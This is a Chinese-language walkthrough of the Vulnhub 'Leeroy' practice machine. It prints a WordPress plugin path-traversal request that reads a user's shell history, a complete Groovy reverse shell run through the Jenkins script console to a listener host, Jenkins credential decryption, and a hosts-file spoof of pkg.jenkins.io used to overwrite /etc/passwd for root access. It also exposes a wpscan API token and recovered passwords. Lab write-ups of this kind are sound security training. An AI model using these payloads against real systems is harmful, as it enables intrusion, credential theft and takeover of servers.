Vulnhub Leeroy
基础信息
难度中等
靶场导入
链接:https://www.vulnhub.com/entry/leeroy-1,611/
镜像可以直接导入到VMware里,导入成功运行后显示如下界面
主机发现与端口扫描
因为靶机与kali处在同一个网段可以使用nmap进行靶机地址发现
nmap 192.168.1.0/24
靶机地址为192.168.1.104
对地址进行详细的端口扫描
开放了5个端口
对这些端口进行访问
80端口只有一张图片没有什么其他隐藏信息
访问8080发现这是一个登录端口,但是目前目前没有密码不能进行登录
访问13380端口,但是它会自动跳转到http://leeroy.htb:13380/
需要在/etc/hosts文件中添加该地址,添加之后再次进行访问就能正常访问了
点击login in 发现这是wordpress后台可以使用wpscan进行扫描
使用wpscan枚举存在的插件
wpscan --url http://leeroy.htb:13380/ --plugins-detection aggressive --api-token d7tnzIOInzbQzYT2KPaSEQTYYXsdGC34Bq5squMS1aI
这个是个人申请的api
申请教程:https://blog.csdn.net/weixin_44628122/article/details/107250045
发现可使用的攻击载荷
修改攻击载荷,查看jerroy用户.bash_history文件里管理员的密码
view-source:http://leeroy.htb:13380/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//home/leeroy/.bash_history
使用获取到的账号密码进行登录
用户:admin
密码:[email protected]
获取shell
首先进入管理界面
然后进入编辑脚本界面
进入编辑页面知道这是一个执行groovy的页面
可以使用该语言反弹shell
String host="192.168.1.107"; int port=1234; String cmd="/bin/bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
使用nc监听成功反弹shell,获取交互式shell
nc -lnvp 1234 python3 -c 'import pty;pty.spawn ("/bin/bash")'
提权(没有成功)
进入home目录下查看能都获取有用信息
/home/leeroy/
查看user.txt发现没有权限
查看 /etc/passwd
发现jenkins
进入该目录查看credentials.xml获取新的用户与密码
因为密码是hash值需要破解
AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508EfjODn1lXhx
通过google查找到解密需要的语句
println( hudson.util.Secret.decrypt("{AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508EfjODn1lXhx}") )
用户:leeroy
密码:[email protected]!GZs
通过su命令切换到leeroy用户
查看之前无法查看的user.txt,给了一串加密字符但是我没有破解出来
使用sudo -l 查看是否存在可利用的信息
进入目录查看jenkins_installer文件
这是一个jenkins的安装过程,可以通过这个方式写入自己的用户与密码并将该用户设置为root权限
查看hosts文件并将kali的地址写入到hosts文件中,因为在执行命令更新的内容需要从kali中下载更新
通过ls命令发现需要jenkins权限进行查看
将kali的地址写入到文件中,并添加添加Jenkins存储库
echo "192.168.1.107 pkg.jenkins.io" >> /var/lib/jenkins/hosts
为了使Jenkins服务器正常运行,需要配置apache2服务,接下来进行apache2的配置
cd /etc/apache2/sites-available/ vi default-ssl.conf
根据输入的内容创建所需要的目录/opt/vulnub/debain-stable/binary/
使用touch命令编辑passwd文件
将lerroy中的passwd内容复制到我们要编辑的文件中,并在文件中添加自己创建的用户,待更新成功后执行自己写入的命令就可以获取root权限了
使用命令生成密码
mkpasswd -m sha-512 使用mkpasswd 512命令生成密码 vi passwd
这里我设置的密码是123456
将写好的passwd文件存入到jenkins_2.222.3_all.deb,并将改文件移动到 /opt/vulnub/debain-stable/binary/目录下
操作成功后开启apache2服务
systemctl start apache2
进入leeroy用户执行命令进行提权
sudo /usr/share/jenkins/jenkins_installer /etc/passwd
请登录后发表评论
注册